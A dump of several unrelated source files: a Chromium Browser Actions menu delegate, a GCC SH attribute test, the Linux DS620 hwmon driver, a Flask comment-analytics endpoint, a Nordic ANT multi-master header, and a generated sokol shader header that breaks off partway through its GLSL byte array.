import org.chromium.chrome.browser.share.ShareParams;
import org.chromium.chrome.browser.tabmodel.TabLaunchType;
import org.chromium.chrome.browser.util.IntentUtils;
/**
* A delegate responsible for taking actions based on browser action context menu selections.
*/
public class BrowserActionsContextMenuItemDelegate {
private static final String TAG = "BrowserActionsItem";
private final Activity mActivity;
private final String mSourcePackageName;
/**
* Builds a {@link BrowserActionsContextMenuItemDelegate} instance.
* @param activity The activity displays the context menu.
* @param sourcePackageName The package name of the app which requests the Browser Actions.
*/
public BrowserActionsContextMenuItemDelegate(Activity activity, String sourcePackageName) {
mActivity = activity;
mSourcePackageName = sourcePackageName;
}
/**
* Called when the {@code text} should be saved to the clipboard.
* @param text The text to save to the clipboard.
*/
public void onSaveToClipboard(String text) {
ClipboardManager clipboardManager =
(ClipboardManager) mActivity.getSystemService(Context.CLIPBOARD_SERVICE);
ClipData data = ClipData.newPlainText("url", text);
clipboardManager.setPrimaryClip(data);
}
/**
* Called when the {@code linkUrl} should be opened in Chrome incognito tab.
* @param linkUrl The url to open.
*/
public void onOpenInIncognitoTab(String linkUrl) {
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(linkUrl));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setPackage(mActivity.getPackageName());
intent.putExtra(LaunchIntentDispatcher.EXTRA_IS_ALLOWED_TO_RETURN_TO_PARENT, false);
intent.putExtra(IntentHandler.EXTRA_OPEN_NEW_INCOGNITO_TAB, true);
intent.putExtra(Browser.EXTRA_APPLICATION_ID, mActivity.getPackageName());
IntentHandler.addTrustedIntentExtras(intent);
IntentHandler.setTabLaunchType(intent, TabLaunchType.FROM_EXTERNAL_APP);
IntentUtils.safeStartActivity(mActivity, intent);
}
/**
* Called when the {@code linkUrl} should be opened in Chrome in the background.
* @param linkUrl The url to open.
*/
public void onOpenInBackground(String linkUrl) {
BrowserActionsService.openLinkInBackground(linkUrl, mSourcePackageName);
}
/**
* Called when a custom item of Browser action menu is selected.
* @param action The PendingIntent action to be launched.
*/
public void onCustomItemSelected(PendingIntent action) {
try {
action.send();
} catch (CanceledException e) {
Log.e(TAG, "Browser Action in Chrome failed to send pending intent.");
}
}
/**
* Called when the page of the {@code linkUrl} should be downloaded.
* @param linkUrl The url of the page to download.
*/
public void startDownload(String linkUrl) {
OfflinePageBridge offlinePageBridge =
OfflinePageBridge.getForProfile(Profile.getLastUsedProfile().getOriginalProfile());
OfflinePageOrigin origin = new OfflinePageOrigin(mActivity, mSourcePackageName);
// TODO(ltian): Support single file download here. crbug.com/754807.
offlinePageBridge.savePageLater(
linkUrl, OfflinePageBridge.BROWSER_ACTIONS_NAMESPACE, true, origin);
}
/**
* Called when the {@code linkUrl} should be shared.
* @param shareDirectly Whether to share directly with the previous app shared with.
* @param linkUrl The url to share.
* @param shouldCloseActivity Whether to close activity after sharing.
*/
public void share(Boolean shareDirectly, String linkUrl, boolean shouldCloseActivity) {
Runnable onShareDialogDismissed = shouldCloseActivity ? mActivity::finish : null;
ShareParams params = new ShareParams.Builder(mActivity, linkUrl, linkUrl)
.setShareDirectly(shareDirectly)
.setSaveLastUsed(!shareDirectly)
.setSourcePackageName(mSourcePackageName)
.setIsExternalUrl(true)
.setOnDialogDismissed(onShareDialogDismissed)
.build();
ShareHelper.share(params);
}
}
|
best08618/asylo | gcc-gcc-7_3_0-release/gcc/testsuite/gcc.target/sh/attr-isr-trap_exit.c | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/gcc.target/sh/attr-isr-trap_exit.c
/* Check that trapa / interrput_handler attributes can paired in
either order. */
/* { dg-do compile } */
/* { dg-options "-O" } */
/* { dg-final { scan-assembler "trapa\[ \t\]\[ \t\]*#4"} } */
/* { dg-final { scan-assembler-times "trapa" 1 } } */
void h0 (void) __attribute__ ((trap_exit (4))) __attribute__ ((interrupt_handler));
void h1 (void) __attribute__ ((interrupt_handler)) __attribute__ ((trap_exit (5)));
void
foo (void)
{
}
void
h0 (void)
{
}
void delay
(int a)
{
}
int
main (void)
{
return 0;
}
|
Ddnirvana/test-CI | openeuler-kernel/drivers/hwmon/ds620.c | <filename>openeuler-kernel/drivers/hwmon/ds620.c
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* ds620.c - Support for temperature sensor and thermostat DS620
*
* Copyright (C) 2010, 2011 <NAME> <<EMAIL>>
*
* based on ds1621.c by <NAME> <<EMAIL>>
*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/jiffies.h>
#include <linux/i2c.h>
#include <linux/hwmon.h>
#include <linux/hwmon-sysfs.h>
#include <linux/err.h>
#include <linux/mutex.h>
#include <linux/sysfs.h>
#include <linux/platform_data/ds620.h>
/*
* Many DS620 constants specified below
* 15 14 13 12 11 10 09 08
* |Done|NVB |THF |TLF |R1 |R0 |AUTOC|1SHOT|
*
* 07 06 05 04 03 02 01 00
* |PO2 |PO1 |A2 |A1 |A0 | | | |
*/
#define DS620_REG_CONFIG_DONE 0x8000
#define DS620_REG_CONFIG_NVB 0x4000
#define DS620_REG_CONFIG_THF 0x2000
#define DS620_REG_CONFIG_TLF 0x1000
#define DS620_REG_CONFIG_R1 0x0800
#define DS620_REG_CONFIG_R0 0x0400
#define DS620_REG_CONFIG_AUTOC 0x0200
#define DS620_REG_CONFIG_1SHOT 0x0100
#define DS620_REG_CONFIG_PO2 0x0080
#define DS620_REG_CONFIG_PO1 0x0040
#define DS620_REG_CONFIG_A2 0x0020
#define DS620_REG_CONFIG_A1 0x0010
#define DS620_REG_CONFIG_A0 0x0008
/* The DS620 registers */
static const u8 DS620_REG_TEMP[3] = {
0xAA, /* input, word, RO */
0xA2, /* min, word, RW */
0xA0, /* max, word, RW */
};
#define DS620_REG_CONF 0xAC /* word, RW */
#define DS620_COM_START 0x51 /* no data */
#define DS620_COM_STOP 0x22 /* no data */
/* Each client has this additional data */
struct ds620_data {
struct i2c_client *client;
struct mutex update_lock;
char valid; /* !=0 if following fields are valid */
unsigned long last_updated; /* In jiffies */
s16 temp[3]; /* Register values, word */
};
static void ds620_init_client(struct i2c_client *client)
{
struct ds620_platform_data *ds620_info = dev_get_platdata(&client->dev);
u16 conf, new_conf;
new_conf = conf =
i2c_smbus_read_word_swapped(client, DS620_REG_CONF);
/* switch to continuous conversion mode */
new_conf &= ~DS620_REG_CONFIG_1SHOT;
/* already high at power-on, but don't trust the BIOS! */
new_conf |= DS620_REG_CONFIG_PO2;
/* thermostat mode according to platform data */
if (ds620_info && ds620_info->pomode == 1)
new_conf &= ~DS620_REG_CONFIG_PO1; /* PO_LOW */
else if (ds620_info && ds620_info->pomode == 2)
new_conf |= DS620_REG_CONFIG_PO1; /* PO_HIGH */
else
new_conf &= ~DS620_REG_CONFIG_PO2; /* always low */
/* with highest precision */
new_conf |= DS620_REG_CONFIG_R1 | DS620_REG_CONFIG_R0;
if (conf != new_conf)
i2c_smbus_write_word_swapped(client, DS620_REG_CONF, new_conf);
/* start conversion */
i2c_smbus_write_byte(client, DS620_COM_START);
}
static struct ds620_data *ds620_update_client(struct device *dev)
{
struct ds620_data *data = dev_get_drvdata(dev);
struct i2c_client *client = data->client;
struct ds620_data *ret = data;
mutex_lock(&data->update_lock);
if (time_after(jiffies, data->last_updated + HZ + HZ / 2)
|| !data->valid) {
int i;
int res;
dev_dbg(&client->dev, "Starting ds620 update\n");
for (i = 0; i < ARRAY_SIZE(data->temp); i++) {
res = i2c_smbus_read_word_swapped(client,
DS620_REG_TEMP[i]);
if (res < 0) {
ret = ERR_PTR(res);
goto abort;
}
data->temp[i] = res;
}
data->last_updated = jiffies;
data->valid = 1;
}
abort:
mutex_unlock(&data->update_lock);
return ret;
}
static ssize_t temp_show(struct device *dev, struct device_attribute *da,
char *buf)
{
struct sensor_device_attribute *attr = to_sensor_dev_attr(da);
struct ds620_data *data = ds620_update_client(dev);
if (IS_ERR(data))
return PTR_ERR(data);
return sprintf(buf, "%d\n", ((data->temp[attr->index] / 8) * 625) / 10);
}
static ssize_t temp_store(struct device *dev, struct device_attribute *da,
const char *buf, size_t count)
{
int res;
long val;
struct sensor_device_attribute *attr = to_sensor_dev_attr(da);
struct ds620_data *data = dev_get_drvdata(dev);
struct i2c_client *client = data->client;
res = kstrtol(buf, 10, &val);
if (res)
return res;
val = (clamp_val(val, -128000, 128000) * 10 / 625) * 8;
mutex_lock(&data->update_lock);
data->temp[attr->index] = val;
i2c_smbus_write_word_swapped(client, DS620_REG_TEMP[attr->index],
data->temp[attr->index]);
mutex_unlock(&data->update_lock);
return count;
}
static ssize_t alarm_show(struct device *dev, struct device_attribute *da,
char *buf)
{
struct sensor_device_attribute *attr = to_sensor_dev_attr(da);
struct ds620_data *data = ds620_update_client(dev);
struct i2c_client *client;
u16 conf, new_conf;
int res;
if (IS_ERR(data))
return PTR_ERR(data);
client = data->client;
/* reset alarms if necessary */
res = i2c_smbus_read_word_swapped(client, DS620_REG_CONF);
if (res < 0)
return res;
new_conf = conf = res;
new_conf &= ~attr->index;
if (conf != new_conf) {
res = i2c_smbus_write_word_swapped(client, DS620_REG_CONF,
new_conf);
if (res < 0)
return res;
}
return sprintf(buf, "%d\n", !!(conf & attr->index));
}
static SENSOR_DEVICE_ATTR_RO(temp1_input, temp, 0);
static SENSOR_DEVICE_ATTR_RW(temp1_min, temp, 1);
static SENSOR_DEVICE_ATTR_RW(temp1_max, temp, 2);
static SENSOR_DEVICE_ATTR_RO(temp1_min_alarm, alarm, DS620_REG_CONFIG_TLF);
static SENSOR_DEVICE_ATTR_RO(temp1_max_alarm, alarm, DS620_REG_CONFIG_THF);
static struct attribute *ds620_attrs[] = {
&sensor_dev_attr_temp1_input.dev_attr.attr,
&sensor_dev_attr_temp1_min.dev_attr.attr,
&sensor_dev_attr_temp1_max.dev_attr.attr,
&sensor_dev_attr_temp1_min_alarm.dev_attr.attr,
&sensor_dev_attr_temp1_max_alarm.dev_attr.attr,
NULL
};
ATTRIBUTE_GROUPS(ds620);
static int ds620_probe(struct i2c_client *client)
{
struct device *dev = &client->dev;
struct device *hwmon_dev;
struct ds620_data *data;
data = devm_kzalloc(dev, sizeof(struct ds620_data), GFP_KERNEL);
if (!data)
return -ENOMEM;
data->client = client;
mutex_init(&data->update_lock);
/* Initialize the DS620 chip */
ds620_init_client(client);
hwmon_dev = devm_hwmon_device_register_with_groups(dev, client->name,
data, ds620_groups);
return PTR_ERR_OR_ZERO(hwmon_dev);
}
static const struct i2c_device_id ds620_id[] = {
{"ds620", 0},
{}
};
MODULE_DEVICE_TABLE(i2c, ds620_id);
/* This is the driver that will be inserted */
static struct i2c_driver ds620_driver = {
.class = I2C_CLASS_HWMON,
.driver = {
.name = "ds620",
},
.probe_new = ds620_probe,
.id_table = ds620_id,
};
module_i2c_driver(ds620_driver);
MODULE_AUTHOR("<NAME> <<EMAIL>>");
MODULE_DESCRIPTION("DS620 driver");
MODULE_LICENSE("GPL");
|
duncanbackr/jit_analytics | main.py | from datetime import datetime
import Analytics, Filter, Formating, Query, Sort
from flask import jsonify
import math
import config
import time
from flask import Flask, request
def main(request):
#total_start = time.time()
## Set CORS headers for the preflight request
if request.method == 'OPTIONS':
## Allows GET requests from any origin with the Content-Type
headers = {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET',
'Access-Control-Allow-Headers': 'Content-Type',
'Access-Control-Max-Age': '3600'
}
return ('', 204, headers)
requestArgs = request.args
if requestArgs.get('okta_id'):
okta_id = requestArgs.get('okta_id')
else:
if config.ENV == 'Local':
return {'error': 'must include an okta id'}
return (jsonify({'error': 'must include an okta id'}), 400)
page = int(requestArgs.get('page', 0))
perPage = int(requestArgs.get('perPage', 100))
limit = requestArgs.get('sample', 5000)
""" Create video filter string """
if requestArgs.get('videoId'):
video_string = Query.parse.create_video_string(requestArgs.get('videoId'))
else:
video_string = ""
""" Create fan filter string """
if requestArgs.get('fan_id'):
fan_string = Query.parse.create_fan_string(requestArgs.get('fan_id'))
else:
fan_string = ""
""" Get data from db and backrest """
start = time.time()
raw_data = Query.latest_comments(okta_id, video_string, fan_string, limit)
sql_time = time.time() - start
start = time.time()
backrest_response = Query.batch_data(okta_id)
batch_time = time.time() - start
if backrest_response.get('error'):
return (jsonify(backrest_response), 500)
else:
cut_off_data = backrest_response['data']
creator = backrest_response['creator']
""" Add analytics calculations """
start = time.time()
scored_comments, replies = Analytics.add_score(raw_data, cut_off_data, Analytics.datetime_now())
analytics_time = time.time() - start
start = time.time()
if requestArgs.get('resource') == 'fans':
filtered_comments = Filter.from_list(
scored_comments,
badge=requestArgs.get('badge', 'topFan'))
sorted_comments = Sort.from_list(
filtered_comments,
param='badge_score')
final_list, total_length = Formating.fans(sorted_comments, page, perPage)
elif requestArgs.get('resource') == 'comments':
filtered_comments = Filter.from_list(
scored_comments,
videoId=requestArgs.get('videoId'),
badge=requestArgs.get('badge'),
comment_class=requestArgs.get('comment_class'))
sorted_comments = Sort.from_list(
filtered_comments,
param=requestArgs.get('order', 'balanced'))
archive = requestArgs.get('archive') == 'true'
final_list, total_length = Formating.comments(sorted_comments, replies, creator, archive, page, perPage)
filter_sort_time = time.time() - start
timers = {
'sql time': sql_time,
'batch time': batch_time,
'analytics time': analytics_time,
'filtering and sorting time': filter_sort_time
}
# if config.ENV == 'Local':
# return final_list
## Set CORS headers for the main request
headers = {
'Access-Control-Allow-Origin': '*'
}
# total_end = time.time()
# final_list.insert(0, {'batch_call:': end-start, 'total_time': total_end-total_start})
return (jsonify({'success': True,
'time': timers,
'data': final_list,
'page': page,
'totalPages': math.ceil(total_length/perPage)
}), 200, headers)
# if config.ENV == 'Local':
if __name__ == '__main__':
app = Flask(__name__)
# class Flask_Request:
# def __init__(self, request_dict):
# self.args = request_dict
# self.method = 'Not OPTIONS'
#request = Flask_Request({'okta_id':'00u10v74k6FsEfLFP4x7', 'resource':'comments', 'order':'growth'})
@app.route('/')
def local_main():
return main(request)
# return jsonify(results = final_list)
app.run()
|
knud/RB_Nano_v1 | nRF51_10/examples/ant/experimental/ant_shared_channel/ant_shared_master_to_master/asc_master_to_master.h | <reponame>knud/RB_Nano_v1
/*
This software is subject to the license described in the License.txt file
included with this software distribution. You may not use this file except in compliance
with this license.
Copyright (c) Dynastream Innovations Inc. 2014
All rights reserved.
*/
/**@file
* @defgroup asc_multimaster module
* @{
* @ingroup ant_auto_shared_channel
*
* @brief ANT Auto Shared Channel (ASC)Multi-master implementation.
*/
#ifndef ASC_MASTER_TO_MASTER_H__
#define ASC_MASTER_TO_MASTER_H__
#include <stdint.h>
#include "asc_parameters.h"
/**@brief Enumeration defining the possible states of an ASC Multi-master.
*/
typedef enum
{
ASCMM_OFF = 0, /**< ASC Multi-master State: OFF. The ASC Multi-master is neither connected to, nor searching for, other ASC Masters.*/
DISCOVERY, /**< ASC Multi-master State: DISCOVERY. The ASC Multi-master is searching for other ASC Masters.*/
CONNECTED, /**< ASC Multi-master State: CONNECTED. The ASC Multi-master is connected to another ASC Master.*/
} ascmm_states_t;
/**@brief Function for initializing the ASC Multi-master.
*
* @param[in] p_ant_discovery_parameters Pointer to the ANT channel parameters used to assign and configure the discovery channel.
* The device number and channel type contained in this struct are ignored by the module.
*
* @param[in] p_ant_connection_parameters Pointer to the ANT channel parameters used to create the master to master channel.
* The device number and channel type contained in this struct are ignored by the module.
*
* @param[in] device_number The device number to use when determining whether this device should be an ASCMM Master or Slave.
*/
void ascmm_init(const asc_ant_params_t * const p_ant_discovery_parameters,
const asc_ant_params_t * const p_ant_connection_parameters,
uint16_t device_number);
/**@brief Function to turn on the ASC Multi-master and begin the discovery process.
*/
void ascmm_turn_on(void);
/**@brief Function to handle received ANT messages on the ASC Multi-master channel.
*
* @param[in] event The ANT event type that was received.
*
* @param[in] p_event_message_buffer The received message buffer.
*/
void ascmm_handle_ant_event(uint8_t event, uint8_t * p_event_message_buffer);
/**@brief Function to pass an ant message over the master to master channel.
*
* @param[in] p_tx_buffer The raw ANT data to send over the air.
*
* @param[in] retries The number of times that the message will be relayed.
*
* @param[in] maximum_retries The number of times that the message will be sent over the air.
*/
void ascmm_relay_message(uint8_t * p_tx_buffer, uint8_t retries);
/**@brief Function to get the current ASC Multi-master state.
*
* @return A copy of the current ASC Multi-master state.
*/
ascmm_states_t ascmm_state_get(void);
/**@brief Function to get the ASC Multi-master event bitfield.
*
* @note After using this function and checking for an event, be sure to clear that event immediately.
*
* @return A copy of the current event bitfield.
*/
uint32_t ascmm_events_get(void);
/**@brief Clears the specified event from the event bitfield.
*
* @param[in] event The ASC event to clear from the bitfield.
*/
void ascmm_event_clear(uint32_t event);
/**@brief Gets the device number of the connected master device
*
* @return The device number of the connected master device
*/
uint16_t ascmm_get_neighbor_id(void);
/**@brief Gets the last command received on the master to master channel.
*
* @return A copy of the last command received on the master to master channel.
*/
asc_command_data_t ascmm_get_last_command(void);
/**@brief Gets the last update received on the master to master channel.
*
* @return A copy of the last update received on the master to master channel.
*/
asc_update_data_t ascmm_get_last_update(void);
#endif /* ASC_MASTER_TO_MASTER_H__ */
/** @} */
|
highduck/ekx | packages/scenex/src/ek/scenex/3d/render3d_shader.h | <gh_stars>10-100
#pragma once
/*
#version:1# (machine generated, don't edit!)
Generated by sokol-shdc (https://github.com/floooh/sokol-tools)
Cmdline: sokol-shdc -i src/ek/scenex/3d/render3d.glsl -o src/ek/scenex/3d/render3d_shader.h -l glsl330:glsl300es:glsl100:hlsl5:metal_ios:metal_sim:metal_macos --ifdef
Overview:
Shader program 'render3d':
Get shader desc: render3d_shader_desc(sg_query_backend());
Vertex shader: vs
Attribute slots:
ATTR_vs_aPosition = 0
ATTR_vs_aNormal = 1
ATTR_vs_aTexCoord = 2
ATTR_vs_aColorMult = 3
ATTR_vs_aColorOffset = 4
Uniform block 'vs_params':
C struct: vs_params_t
Bind slot: SLOT_vs_params = 0
Fragment shader: fs
Uniform block 'material_params':
C struct: material_params_t
Bind slot: SLOT_material_params = 0
Uniform block 'fs_params':
C struct: fs_params_t
Bind slot: SLOT_fs_params = 1
Uniform block 'light_params':
C struct: light_params_t
Bind slot: SLOT_light_params = 2
Uniform block 'light2_params':
C struct: light2_params_t
Bind slot: SLOT_light2_params = 3
Image 'u_image_shadow_map':
Type: SG_IMAGETYPE_2D
Component Type: SG_SAMPLERTYPE_FLOAT
Bind slot: SLOT_u_image_shadow_map = 0
Image 'uImage0':
Type: SG_IMAGETYPE_2D
Component Type: SG_SAMPLERTYPE_FLOAT
Bind slot: SLOT_uImage0 = 1
Shader program 'render3d_shadow_map':
Get shader desc: render3d_shadow_map_shader_desc(sg_query_backend());
Vertex shader: vs_shadow_map
Attribute slots:
ATTR_vs_shadow_map_aPosition = 0
ATTR_vs_shadow_map_aNormal = 1
ATTR_vs_shadow_map_aTexCoord = 2
ATTR_vs_shadow_map_aColorMult = 3
ATTR_vs_shadow_map_aColorOffset = 4
Uniform block 'vs_shadow_map_params':
C struct: vs_shadow_map_params_t
Bind slot: SLOT_vs_shadow_map_params = 0
Fragment shader: fs_shadow_map
Shader program 'render3d_skybox':
Get shader desc: render3d_skybox_shader_desc(sg_query_backend());
Vertex shader: vs_skybox
Attribute slots:
ATTR_vs_skybox_aPosition = 0
ATTR_vs_skybox_aNormal = 1
ATTR_vs_skybox_aTexCoord = 2
ATTR_vs_skybox_aColorMult = 3
ATTR_vs_skybox_aColorOffset = 4
Uniform block 'vs_skybox_params':
C struct: vs_skybox_params_t
Bind slot: SLOT_vs_skybox_params = 0
Fragment shader: fs_skybox
Image 'imageSkybox':
Type: SG_IMAGETYPE_CUBE
Component Type: SG_SAMPLERTYPE_FLOAT
Bind slot: SLOT_imageSkybox = 0
Shader descriptor structs:
sg_shader render3d = sg_make_shader(render3d_shader_desc(sg_query_backend()));
sg_shader render3d_shadow_map = sg_make_shader(render3d_shadow_map_shader_desc(sg_query_backend()));
sg_shader render3d_skybox = sg_make_shader(render3d_skybox_shader_desc(sg_query_backend()));
Vertex attribute locations for vertex shader 'vs_shadow_map':
sg_pipeline pip = sg_make_pipeline(&(sg_pipeline_desc){
.layout = {
.attrs = {
[ATTR_vs_shadow_map_aPosition] = { ... },
[ATTR_vs_shadow_map_aNormal] = { ... },
[ATTR_vs_shadow_map_aTexCoord] = { ... },
[ATTR_vs_shadow_map_aColorMult] = { ... },
[ATTR_vs_shadow_map_aColorOffset] = { ... },
},
},
...});
Vertex attribute locations for vertex shader 'vs':
sg_pipeline pip = sg_make_pipeline(&(sg_pipeline_desc){
.layout = {
.attrs = {
[ATTR_vs_aPosition] = { ... },
[ATTR_vs_aNormal] = { ... },
[ATTR_vs_aTexCoord] = { ... },
[ATTR_vs_aColorMult] = { ... },
[ATTR_vs_aColorOffset] = { ... },
},
},
...});
Vertex attribute locations for vertex shader 'vs_skybox':
sg_pipeline pip = sg_make_pipeline(&(sg_pipeline_desc){
.layout = {
.attrs = {
[ATTR_vs_skybox_aPosition] = { ... },
[ATTR_vs_skybox_aNormal] = { ... },
[ATTR_vs_skybox_aTexCoord] = { ... },
[ATTR_vs_skybox_aColorMult] = { ... },
[ATTR_vs_skybox_aColorOffset] = { ... },
},
},
...});
Image bind slots, use as index in sg_bindings.vs_images[] or .fs_images[]
SLOT_u_image_shadow_map = 0;
SLOT_uImage0 = 1;
SLOT_imageSkybox = 0;
Bind slot and C-struct for uniform block 'vs_shadow_map_params':
vs_shadow_map_params_t vs_shadow_map_params = {
.uModelViewProjection = ...;
};
sg_apply_uniforms(SG_SHADERSTAGE_[VS|FS], SLOT_vs_shadow_map_params, &SG_RANGE(vs_shadow_map_params));
Bind slot and C-struct for uniform block 'vs_params':
vs_params_t vs_params = {
.uModelViewProjection = ...;
.uModel = ...;
.u_normal_matrix = ...;
.u_depth_mvp = ...;
};
sg_apply_uniforms(SG_SHADERSTAGE_[VS|FS], SLOT_vs_params, &SG_RANGE(vs_params));
Bind slot and C-struct for uniform block 'material_params':
material_params_t material_params = {
.mat_ambient = ...;
.mat_diffuse = ...;
.mat_specular = ...;
.mat_emission = ...;
.mat_shininess = ...;
.mat_roughness = ...;
};
sg_apply_uniforms(SG_SHADERSTAGE_[VS|FS], SLOT_material_params, &SG_RANGE(material_params));
Bind slot and C-struct for uniform block 'fs_params':
fs_params_t fs_params = {
.u_time = ...;
.u_resolution = ...;
.uViewPos = ...;
};
sg_apply_uniforms(SG_SHADERSTAGE_[VS|FS], SLOT_fs_params, &SG_RANGE(fs_params));
Bind slot and C-struct for uniform block 'light_params':
light_params_t light_params = {
.light_position = ...;
.light_ambient = ...;
.light_diffuse = ...;
.light_specular = ...;
};
sg_apply_uniforms(SG_SHADERSTAGE_[VS|FS], SLOT_light_params, &SG_RANGE(light_params));
Bind slot and C-struct for uniform block 'light2_params':
light2_params_t light2_params = {
.light2_position = ...;
.light2_radius = ...;
.light2_ambient = ...;
.light2_falloff = ...;
.light2_diffuse = ...;
.light2_specular = ...;
};
sg_apply_uniforms(SG_SHADERSTAGE_[VS|FS], SLOT_light2_params, &SG_RANGE(light2_params));
Bind slot and C-struct for uniform block 'vs_skybox_params':
vs_skybox_params_t vs_skybox_params = {
.uModelViewProjection = ...;
};
sg_apply_uniforms(SG_SHADERSTAGE_[VS|FS], SLOT_vs_skybox_params, &SG_RANGE(vs_skybox_params));
*/
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <stddef.h>
#if !defined(SOKOL_SHDC_ALIGN)
#if defined(_MSC_VER)
#define SOKOL_SHDC_ALIGN(a) __declspec(align(a))
#else
#define SOKOL_SHDC_ALIGN(a) __attribute__((aligned(a)))
#endif
#endif
#define ATTR_vs_shadow_map_aPosition (0)
#define ATTR_vs_shadow_map_aNormal (1)
#define ATTR_vs_shadow_map_aTexCoord (2)
#define ATTR_vs_shadow_map_aColorMult (3)
#define ATTR_vs_shadow_map_aColorOffset (4)
#define ATTR_vs_aPosition (0)
#define ATTR_vs_aNormal (1)
#define ATTR_vs_aTexCoord (2)
#define ATTR_vs_aColorMult (3)
#define ATTR_vs_aColorOffset (4)
#define ATTR_vs_skybox_aPosition (0)
#define ATTR_vs_skybox_aNormal (1)
#define ATTR_vs_skybox_aTexCoord (2)
#define ATTR_vs_skybox_aColorMult (3)
#define ATTR_vs_skybox_aColorOffset (4)
#define SLOT_u_image_shadow_map (0)
#define SLOT_uImage0 (1)
#define SLOT_imageSkybox (0)
#define SLOT_vs_shadow_map_params (0)
#pragma pack(push,1)
SOKOL_SHDC_ALIGN(16) typedef struct vs_shadow_map_params_t {
float uModelViewProjection[16];
} vs_shadow_map_params_t;
#pragma pack(pop)
#define SLOT_vs_params (0)
#pragma pack(push,1)
SOKOL_SHDC_ALIGN(16) typedef struct vs_params_t {
float uModelViewProjection[16];
float uModel[16];
float u_normal_matrix[16];
float u_depth_mvp[16];
} vs_params_t;
#pragma pack(pop)
#define SLOT_material_params (0)
#pragma pack(push,1)
SOKOL_SHDC_ALIGN(16) typedef struct material_params_t {
float mat_ambient[3];
uint8_t _pad_12[4];
float mat_diffuse[3];
uint8_t _pad_28[4];
float mat_specular[3];
uint8_t _pad_44[4];
float mat_emission[3];
float mat_shininess;
float mat_roughness;
uint8_t _pad_68[12];
} material_params_t;
#pragma pack(pop)
#define SLOT_fs_params (1)
#pragma pack(push,1)
SOKOL_SHDC_ALIGN(16) typedef struct fs_params_t {
float u_time[4];
float u_resolution[4];
float uViewPos[3];
uint8_t _pad_44[4];
} fs_params_t;
#pragma pack(pop)
#define SLOT_light_params (2)
#pragma pack(push,1)
SOKOL_SHDC_ALIGN(16) typedef struct light_params_t {
float light_position[3];
uint8_t _pad_12[4];
float light_ambient[3];
uint8_t _pad_28[4];
float light_diffuse[3];
uint8_t _pad_44[4];
float light_specular[3];
uint8_t _pad_60[4];
} light_params_t;
#pragma pack(pop)
#define SLOT_light2_params (3)
#pragma pack(push,1)
SOKOL_SHDC_ALIGN(16) typedef struct light2_params_t {
float light2_position[3];
float light2_radius;
float light2_ambient[3];
float light2_falloff;
float light2_diffuse[3];
uint8_t _pad_44[4];
float light2_specular[3];
uint8_t _pad_60[4];
} light2_params_t;
#pragma pack(pop)
#define SLOT_vs_skybox_params (0)
#pragma pack(push,1)
SOKOL_SHDC_ALIGN(16) typedef struct vs_skybox_params_t {
float uModelViewProjection[16];
} vs_skybox_params_t;
#pragma pack(pop)
#if defined(SOKOL_GLCORE33)
/*
#version 330
uniform vec4 vs_shadow_map_params[4];
layout(location = 0) in vec3 aPosition;
out vec2 projZW;
layout(location = 1) in vec3 aNormal;
layout(location = 2) in vec2 aTexCoord;
layout(location = 3) in vec4 aColorMult;
layout(location = 4) in vec4 aColorOffset;
void main()
{
gl_Position = mat4(vs_shadow_map_params[0], vs_shadow_map_params[1], vs_shadow_map_params[2], vs_shadow_map_params[3]) * vec4(aPosition, 1.0);
projZW = gl_Position.zw;
}
*/
static const char vs_shadow_map_source_glsl330[466] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x33,0x30,0x0a,0x0a,0x75,0x6e,
0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x34,0x5d,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,
0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,
0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x6f,0x75,0x74,0x20,
0x76,0x65,0x63,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x3b,0x0a,0x6c,0x61,0x79,
0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x31,
0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x4e,0x6f,0x72,0x6d,0x61,
0x6c,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,
0x6f,0x6e,0x20,0x3d,0x20,0x32,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x32,0x20,
0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,
0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x33,0x29,0x20,
0x69,0x6e,0x20,0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,
0x6c,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,
0x69,0x6f,0x6e,0x20,0x3d,0x20,0x34,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x34,
0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x0a,
0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,
0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,
